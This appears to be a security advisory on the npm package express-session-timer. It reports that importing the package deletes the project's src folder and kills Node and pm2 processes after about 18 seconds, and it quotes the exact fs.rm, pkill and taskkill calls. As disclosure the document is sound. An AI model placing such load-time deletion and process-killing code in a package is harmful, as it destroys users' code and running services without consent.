express-session-timer@1.0.16

Summary

express-session-timer@1.0.1 schedules an unconditional destructive routine at module load time. Approximately 18 seconds after require('express-session-timer'), the package recursively removes <cwd>/src via fs.rm(path.join(process.cwd(),'src'), {recursive:true, force:true}) and terminates Node processes with pkill -f "node.*${process.cwd()}" on Unix, taskkill /IM node.exe /F on Windows, and npx pm2 delete all. The behavior fires with no configuration, opt-in, or relationship to the package's advertised functionality — merely importing the module deletes the installer's source tree and stops their running server. The manifest also pins express-timer: ^0.0.1-security, npm's security-hold placeholder convention, indicating an unpinned resolution against a name previously held after takedown.

Source: amazon-inspector (325e241839ca2d0861d19807df248bf7b06922533bccb441bbee521471f5d73f)